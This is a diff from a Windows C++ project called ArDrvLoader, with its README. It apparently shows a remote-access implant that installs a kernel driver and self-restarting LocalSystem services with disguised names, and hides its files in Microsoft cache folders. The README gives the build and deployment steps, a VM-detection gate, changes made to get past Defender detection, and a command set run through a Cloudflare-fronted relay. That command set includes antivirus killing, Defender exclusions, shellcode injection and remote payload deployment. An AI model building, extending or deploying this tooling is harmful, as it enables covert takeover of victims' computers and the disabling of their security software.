||||||
|
|
||||||
|
CloseHandle(tok);
|
||||||
|
|
||||||
|
return ok == TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool StartProcessAsSystem(
|
||||||
|
HANDLE systemToken,
|
||||||
|
const wchar_t* exePath,
|
||||||
|
const wchar_t* args,
|
||||||
|
bool interactive)
|
||||||
|
{
|
||||||
|
return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, false, nullptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CreateProcessSuspendedAsSystem(
|
||||||
|
HANDLE systemToken,
|
||||||
|
const wchar_t* exePath,
|
||||||
|
const wchar_t* args,
|
||||||
|
bool interactive,
|
||||||
|
NewProcInfo* out)
|
||||||
|
{
|
||||||
|
return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, true, out);
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
struct NewProcInfo
|
||||||
|
{
|
||||||
|
HANDLE hProcess;
|
||||||
|
HANDLE hThread;
|
||||||
|
DWORD processId;
|
||||||
|
|
||||||
|
NewProcInfo()
|
||||||
|
: hProcess(nullptr)
|
||||||
|
, hThread(nullptr)
|
||||||
|
, processId(0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
DWORD GetPidByName(const wchar_t* exeName);
|
||||||
|
bool ProcessExistsByName(const wchar_t* exeName);
|
||||||
|
|
||||||
|
bool StartProcessAsSystem(
|
||||||
|
HANDLE systemToken,
|
||||||
|
const wchar_t* exePath,
|
||||||
|
const wchar_t* args,
|
||||||
|
bool interactive);
|
||||||
|
|
||||||
|
bool CreateProcessSuspendedAsSystem(
|
||||||
|
HANDLE systemToken,
|
||||||
|
const wchar_t* exePath,
|
||||||
|
const wchar_t* args,
|
||||||
|
bool interactive,
|
||||||
|
NewProcInfo* out);
|
||||||
@@ -0,0 +1,410 @@
|
|||||||
|
# ArDrvLoader - build, use, test
|
||||||
|
|
||||||
|
Single Windows client binary that installs a LocalSystem service stack, a kernel
|
||||||
|
driver, and a cloud command channel, plus a relay server and a Cloudflare Worker
|
||||||
|
that sit in front of it.
|
||||||
|
|
||||||
|
```
|
||||||
|
client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel
|
||||||
|
```
|
||||||
|
|
||||||
|
The Worker stores nothing; the relay owns all state. A client can also talk to the
|
||||||
|
relay directly (no Worker) when you want to save Cloudflare requests.
|
||||||
|
|
||||||
|
- detailed internals: `SERVICES.md`
|
||||||
|
- this file: how to build, run and test
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Requirements
|
||||||
|
|
||||||
|
| Piece | Need |
|
||||||
|
|---|---|
|
||||||
|
| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild |
|
||||||
|
| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) |
|
||||||
|
| Worker (optional) | `npm i -g wrangler` and a Cloudflare account |
|
||||||
|
| Test target | Windows 10/11 x64, admin rights for service install |
|
||||||
|
|
||||||
|
Repository layout:
|
||||||
|
|
||||||
|
```
|
||||||
|
cpp_end/
|
||||||
|
*.cpp *.h client sources
|
||||||
|
ArDrvLoader.vcxproj client project
|
||||||
|
StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe)
|
||||||
|
driver_res.rc stage_res.rc resource.h embedded driver + payload
|
||||||
|
build.ps1 build driver → payload → exe, produces dist\<cfg>
|
||||||
|
server/ relay server, sqlite, panel.html
|
||||||
|
cloudflare/ Worker proxy, mock worker
|
||||||
|
agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK
|
||||||
|
test-cloud.ps1 end-to-end test against the mock worker
|
||||||
|
SERVICES.md deep documentation
|
||||||
|
```
|
||||||
|
|
||||||
|
Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded.
|
||||||
|
Place nothing there for a driver-less build.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Build
|
||||||
|
|
||||||
|
```
|
||||||
|
cd cpp_end
|
||||||
|
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release
|
||||||
|
```
|
||||||
|
|
||||||
|
Output:
|
||||||
|
|
||||||
|
```
|
||||||
|
dist\Release\ArDrvLoader.exe <- single file, this is what ships
|
||||||
|
x64\Release\ArDrvLoader.exe <- build output with .pdb symbols
|
||||||
|
```
|
||||||
|
|
||||||
|
Variants:
|
||||||
|
|
||||||
|
| Command | Result |
|
||||||
|
|---|---|
|
||||||
|
| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs |
|
||||||
|
| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` |
|
||||||
|
| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately |
|
||||||
|
| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely |
|
||||||
|
|
||||||
|
Raw MSBuild, if you prefer:
|
||||||
|
|
||||||
|
```
|
||||||
|
MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m
|
||||||
|
```
|
||||||
|
|
||||||
|
Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so
|
||||||
|
double-clicking it shows no console. Debug stays a console app.
|
||||||
|
|
||||||
|
Build hardening already applied to Release: `/Brepro` (no Rich header, no
|
||||||
|
timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a
|
||||||
|
`Trojan:Win32/Wacatac.B!ml` false positive from Defender.
|
||||||
|
|
||||||
|
### Build-time defaults
|
||||||
|
|
||||||
|
The exe can run with **no arguments at all**. These macros live in
|
||||||
|
`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`:
|
||||||
|
|
||||||
|
| Macro | Meaning | Default |
|
||||||
|
|---|---|---|
|
||||||
|
| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` |
|
||||||
|
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
|
||||||
|
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
|
||||||
|
| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty |
|
||||||
|
| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` |
|
||||||
|
|
||||||
|
Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Run the relay server
|
||||||
|
|
||||||
|
```
|
||||||
|
cd cpp_end/server
|
||||||
|
set PORT=8790
|
||||||
|
set AGENT_SECRET=testsecret
|
||||||
|
set OPERATOR_KEY=testop
|
||||||
|
set ENROLL_SECRET=testenroll
|
||||||
|
set LEGACY_MASTER_AUTH=false
|
||||||
|
set PROXY_SECRET=proxys3cret
|
||||||
|
node server.js
|
||||||
|
```
|
||||||
|
|
||||||
|
| Env | Default | Purpose |
|
||||||
|
|---|---|---|
|
||||||
|
| `PORT` | 8790 | listen port |
|
||||||
|
| `DATA_DIR` | `./data` | sqlite file + `files/` payloads |
|
||||||
|
| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` |
|
||||||
|
| `AGENT_SECRET` | - | master key; per-agent keys are derived from it |
|
||||||
|
| `OPERATOR_KEY` | - | panel / operator API key |
|
||||||
|
| `ENROLL_SECRET` | operator key | enrollment token |
|
||||||
|
| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration |
|
||||||
|
| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` |
|
||||||
|
| `RETAIN_COMMAND_DAYS` | 7 | command retention |
|
||||||
|
| `RETAIN_EVENT_DAYS` | 30 | event retention |
|
||||||
|
| `RETAIN_MAX_COMMANDS` | 50000 | hard cap |
|
||||||
|
|
||||||
|
The server creates its schema on start, opens SQLite in WAL mode, and reaps
|
||||||
|
commands stuck in `sent` for over 180 s.
|
||||||
|
|
||||||
|
Panel: `http://<host>:8790/panel?key=testop`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Run the Worker proxy (optional)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd cpp_end/cloudflare
|
||||||
|
wrangler dev --port 8789 --ip 127.0.0.1 --local
|
||||||
|
```
|
||||||
|
|
||||||
|
`.dev.vars`:
|
||||||
|
|
||||||
|
```
|
||||||
|
SERVER_URL=http://127.0.0.1:8790
|
||||||
|
PROXY_SECRET=proxys3cret
|
||||||
|
```
|
||||||
|
|
||||||
|
Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then
|
||||||
|
`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure
|
||||||
|
forwarder.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Install the client
|
||||||
|
|
||||||
|
### One double-click
|
||||||
|
|
||||||
|
`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults:
|
||||||
|
|
||||||
|
1. one UAC prompt
|
||||||
|
2. installs driver + three services + cloud agent service
|
||||||
|
3. waits for the agent to register (id = computer name)
|
||||||
|
4. queues `KILLAV` through the relay so the run appears in the panel
|
||||||
|
|
||||||
|
### With explicit arguments
|
||||||
|
|
||||||
|
```
|
||||||
|
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
|
||||||
|
[--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]
|
||||||
|
```
|
||||||
|
|
||||||
|
### Services only, no bootstrap
|
||||||
|
|
||||||
|
```
|
||||||
|
ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
|
||||||
|
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
|
||||||
|
ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC
|
||||||
|
```
|
||||||
|
|
||||||
|
Options: `--prefix <Name>`, `--install-dir <path>`, `--keep-location`,
|
||||||
|
`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`,
|
||||||
|
`--cloud-service`.
|
||||||
|
|
||||||
|
### What gets installed
|
||||||
|
|
||||||
|
| Service | Role |
|
||||||
|
|---|---|
|
||||||
|
| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` |
|
||||||
|
| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive |
|
||||||
|
| `ServiceStateHost` | re-enables a disabled target service and starts it |
|
||||||
|
| `CloudTest` / `CloudSyncHost` | the cloud agent |
|
||||||
|
|
||||||
|
All run as `LocalSystem`, auto-start, restart on failure, and watch each other.
|
||||||
|
Files live under a machine-tagged directory:
|
||||||
|
`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\`
|
||||||
|
for a non-elevated agent).
|
||||||
|
|
||||||
|
### Configuration - `HKLM\SOFTWARE\ArDrvLoader`
|
||||||
|
|
||||||
|
The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop,
|
||||||
|
so changes apply without reinstalling.
|
||||||
|
|
||||||
|
| Value | Type | Default | Meaning |
|
||||||
|
|---|---|---|---|
|
||||||
|
| `TargetPath` | REG_SZ | - | program to keep alive |
|
||||||
|
| `TargetArgs` | REG_SZ | - | its arguments |
|
||||||
|
| `TargetService` | REG_SZ | - | service to keep alive instead |
|
||||||
|
| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path |
|
||||||
|
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
|
||||||
|
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
|
||||||
|
| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval |
|
||||||
|
| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand |
|
||||||
|
| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures |
|
||||||
|
| `DriverFailMax` | REG_DWORD | 3 | budget before giving up |
|
||||||
|
| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` |
|
||||||
|
| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start |
|
||||||
|
| `AllowVm` | REG_DWORD | 0 | run inside a VM |
|
||||||
|
| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Cloud agent
|
||||||
|
|
||||||
|
```
|
||||||
|
ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
|
||||||
|
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or
|
||||||
|
`HKLM\Software\CloudAgent`.
|
||||||
|
|
||||||
|
### Per-agent keys
|
||||||
|
|
||||||
|
```
|
||||||
|
ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>
|
||||||
|
```
|
||||||
|
|
||||||
|
Writes `<root>\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET`
|
||||||
|
are absent. Revoke from the panel (`revoke`) or
|
||||||
|
`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Panel
|
||||||
|
|
||||||
|
`http://<host>:8790/panel?key=<operator-key>`
|
||||||
|
|
||||||
|
- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips,
|
||||||
|
history with `copy result` / `run again`
|
||||||
|
- **All commands** - global table, defaults to executed commands, sortable by
|
||||||
|
time / agent / command / state / operator / result / duration
|
||||||
|
- `run` chip re-enqueues that command for the same agent
|
||||||
|
- `+` or the result cell expands the output
|
||||||
|
- clicking the row loads the command into that agent's console
|
||||||
|
- **Palette** - `all commands (47)` opens every command grouped by category, with
|
||||||
|
search; chips with `<args>` load into the composer, others send immediately
|
||||||
|
- agent header shows host, user, SID, version, interval, and `revoke`/`restore`
|
||||||
|
- offline agents render grey (`online=false` after 3 intervals, min 45 s)
|
||||||
|
- broadcast sends one command to every online agent
|
||||||
|
- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Commands
|
||||||
|
|
||||||
|
```
|
||||||
|
PING STATUS HELP
|
||||||
|
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
|
||||||
|
PS <powershell> PS_USER <powershell>
|
||||||
|
RUNFILE <path> [args] RUNFILE_USER RUNFILE_SYSTEM
|
||||||
|
OPENFILE <path> [args] OPENFILE_USER
|
||||||
|
DOWNLOAD <url> <out> [sha256] DEPLOY <url> [args] DEPLOY_SYSTEM <url> [args]
|
||||||
|
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
|
||||||
|
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
|
||||||
|
KILLAV KILLAV_DRYRUN
|
||||||
|
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
|
||||||
|
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
|
||||||
|
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
|
||||||
|
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
|
||||||
|
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
|
||||||
|
SERVICE_STATUS <name> START_SERVICE <name> [path]
|
||||||
|
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
|
||||||
|
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
|
||||||
|
STOP
|
||||||
|
```
|
||||||
|
|
||||||
|
`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Test
|
||||||
|
|
||||||
|
### 9.1 Automated cloud test (mock worker, no Node needed in the path)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd cpp_end
|
||||||
|
powershell -ExecutionPolicy Bypass -File test-cloud.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks:
|
||||||
|
PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected
|
||||||
|
and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST,
|
||||||
|
DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.
|
||||||
|
|
||||||
|
Useful switches: `-Port 8795 -AgentId clitest1`.
|
||||||
|
|
||||||
|
### 9.2 Manual command against the live relay
|
||||||
|
|
||||||
|
```
|
||||||
|
\.\agent-cli.ps1 -Command "STATUS"
|
||||||
|
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
|
||||||
|
agent.cmd STATUS # wrapper for hosts with a restrictive execution policy
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.3 Single-exe client test
|
||||||
|
|
||||||
|
1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder
|
||||||
|
2. Double-click it (Release is silent; use Debug to watch)
|
||||||
|
3. Expect UAC → agent appears in the panel → `KILLAV` row completes
|
||||||
|
|
||||||
|
Verify from a shell:
|
||||||
|
|
||||||
|
```
|
||||||
|
sc query DeviceSetupHost
|
||||||
|
sc query ArDrv
|
||||||
|
dir C:\Windows\System32\drivers\ardrv.sys
|
||||||
|
HKLM\SOFTWARE\ArDrvLoader
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.4 Driver checks
|
||||||
|
|
||||||
|
```
|
||||||
|
ArDrvLoader.exe -drv status # device=ok embedded=<bytes> fail=N/max state=...
|
||||||
|
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
|
||||||
|
ArDrvLoader.exe -drv reset
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.5 Kill-safety checks
|
||||||
|
|
||||||
|
```
|
||||||
|
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed
|
||||||
|
ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected
|
||||||
|
ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.6 AV scan
|
||||||
|
|
||||||
|
```
|
||||||
|
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
|
||||||
|
"C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation
|
||||||
|
```
|
||||||
|
|
||||||
|
Current build scans clean on engine 1.461.217.0.
|
||||||
|
|
||||||
|
### 9.7 Uninstall / reset
|
||||||
|
|
||||||
|
Elevated, in order:
|
||||||
|
|
||||||
|
```
|
||||||
|
sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
|
||||||
|
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
|
||||||
|
sc stop ArDrv
|
||||||
|
sc delete ArDrv
|
||||||
|
del C:\Windows\System32\drivers\ardrv.sys
|
||||||
|
reg delete HKLM\SOFTWARE\ArDrvLoader /f
|
||||||
|
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>
|
||||||
|
```
|
||||||
|
|
||||||
|
Then clear relay state if you want a clean panel:
|
||||||
|
|
||||||
|
```
|
||||||
|
node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"
|
||||||
|
```
|
||||||
|
|
||||||
|
A staged payload that was injected into a live host can keep
|
||||||
|
`ardrvstage.dll` locked until reboot; queue it with
|
||||||
|
`PendingFileRenameOperations` or restart.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Troubleshooting
|
||||||
|
|
||||||
|
| Symptom | Cause / fix |
|
||||||
|
|---|---|
|
||||||
|
| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer |
|
||||||
|
| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` |
|
||||||
|
| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` |
|
||||||
|
| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) |
|
||||||
|
| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold |
|
||||||
|
| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists |
|
||||||
|
| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` |
|
||||||
|
| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` |
|
||||||
|
| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing |
|
||||||
|
| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Known limitations
|
||||||
|
|
||||||
|
- The client is **unsigned**; code signing is the durable fix for SmartScreen and
|
||||||
|
behavioural AV verdicts.
|
||||||
|
- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes,
|
||||||
|
device ACL) need driver source, which is not part of this repository.
|
||||||
|
- `KILLAV` is real: on a test box it disables Defender until it recovers.
|
||||||
|
- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps
|
||||||
|
you around 17 agents.
|
||||||
|
- The "services go quiet, payload takes over" handoff is half-built: the guard
|
||||||
|
keeps the stage payload alive, but the payload only runs commands.
|
||||||
+1107
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,267 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "ServiceManager.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
bool EnsureWin32Service(
|
||||||
|
const wchar_t* serviceName,
|
||||||
|
const wchar_t* binaryPath,
|
||||||
|
bool startNow)
|
||||||
|
{
|
||||||
|
if (!serviceName || !binaryPath)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||||
|
if (!scm)
|
||||||
|
{
|
||||||
|
Log(L"[-] OpenSCManager failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SC_HANDLE svc = CreateServiceW(
|
||||||
|
scm,
|
||||||
|
serviceName,
|
||||||
|
serviceName,
|
||||||
|
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS,
|
||||||
|
SERVICE_WIN32_OWN_PROCESS,
|
||||||
|
SERVICE_AUTO_START,
|
||||||
|
SERVICE_ERROR_NORMAL,
|
||||||
|
binaryPath,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
DWORD lastErr = GetLastError();
|
||||||
|
|
||||||
|
if (!svc && lastErr == ERROR_SERVICE_EXISTS)
|
||||||
|
{
|
||||||
|
svc = OpenServiceW(
|
||||||
|
scm,
|
||||||
|
serviceName,
|
||||||
|
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!svc)
|
||||||
|
{
|
||||||
|
Log(L"[-] Open/Create service failed: %lu", lastErr);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ChangeServiceConfigW(
|
||||||
|
svc,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
SERVICE_AUTO_START,
|
||||||
|
SERVICE_ERROR_NORMAL,
|
||||||
|
binaryPath,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr))
|
||||||
|
{
|
||||||
|
Log(L"[!] ChangeServiceConfigW failed: %lu", GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (startNow)
|
||||||
|
{
|
||||||
|
SERVICE_STATUS st{};
|
||||||
|
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
|
||||||
|
|
||||||
|
if (!running)
|
||||||
|
{
|
||||||
|
if (!StartServiceW(svc, 0, nullptr))
|
||||||
|
{
|
||||||
|
DWORD e = GetLastError();
|
||||||
|
|
||||||
|
if (e != ERROR_SERVICE_ALREADY_RUNNING)
|
||||||
|
Log(L"[-] StartService failed: %lu", e);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Log(L"[+] Service started");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Log(L"[+] Service already running");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseServiceHandle(svc);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool IsServiceRunning(const wchar_t* serviceName)
|
||||||
|
{
|
||||||
|
if (!serviceName)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
||||||
|
if (!scm)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_QUERY_STATUS);
|
||||||
|
if (!svc)
|
||||||
|
{
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SERVICE_STATUS st{};
|
||||||
|
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
|
||||||
|
|
||||||
|
CloseServiceHandle(svc);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
|
||||||
|
return running;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EnsureLocalSystemService(
|
||||||
|
const wchar_t* serviceName,
|
||||||
|
const wchar_t* binaryPath,
|
||||||
|
bool startNow,
|
||||||
|
bool restartOnFailure,
|
||||||
|
const wchar_t* displayName)
|
||||||
|
{
|
||||||
|
if (!serviceName || !binaryPath)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
const wchar_t* display = (displayName && *displayName) ? displayName : serviceName;
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||||
|
if (!scm)
|
||||||
|
{
|
||||||
|
Log(L"[-] EnsureLocalSystemService: OpenSCManager failed: %lu", GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
SC_HANDLE svc = CreateServiceW(
|
||||||
|
scm,
|
||||||
|
serviceName,
|
||||||
|
display,
|
||||||
|
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS,
|
||||||
|
SERVICE_WIN32_OWN_PROCESS,
|
||||||
|
SERVICE_AUTO_START,
|
||||||
|
SERVICE_ERROR_NORMAL,
|
||||||
|
binaryPath,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
L"LocalSystem",
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
DWORD createError = GetLastError();
|
||||||
|
|
||||||
|
if (!svc && createError == ERROR_SERVICE_EXISTS)
|
||||||
|
{
|
||||||
|
svc = OpenServiceW(
|
||||||
|
scm,
|
||||||
|
serviceName,
|
||||||
|
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!svc)
|
||||||
|
{
|
||||||
|
Log(L"[-] EnsureLocalSystemService: create/open failed: %lu", createError);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ChangeServiceConfigW(
|
||||||
|
svc,
|
||||||
|
SERVICE_NO_CHANGE,
|
||||||
|
SERVICE_AUTO_START,
|
||||||
|
SERVICE_ERROR_NORMAL,
|
||||||
|
binaryPath,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
nullptr,
|
||||||
|
L"LocalSystem",
|
||||||
|
nullptr,
|
||||||
|
nullptr))
|
||||||
|
{
|
||||||
|
Log(L"[!] EnsureLocalSystemService: ChangeServiceConfigW failed: %lu", GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (restartOnFailure)
|
||||||
|
{
|
||||||
|
SC_ACTION actions[3]{};
|
||||||
|
actions[0].Type = SC_ACTION_RESTART;
|
||||||
|
actions[0].Delay = 5000;
|
||||||
|
actions[1].Type = SC_ACTION_RESTART;
|
||||||
|
actions[1].Delay = 10000;
|
||||||
|
actions[2].Type = SC_ACTION_RESTART;
|
||||||
|
actions[2].Delay = 30000;
|
||||||
|
|
||||||
|
SERVICE_FAILURE_ACTIONSW failure{};
|
||||||
|
failure.dwResetPeriod = 86400;
|
||||||
|
failure.cActions = 3;
|
||||||
|
failure.lpsaActions = actions;
|
||||||
|
|
||||||
|
ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS, &failure);
|
||||||
|
|
||||||
|
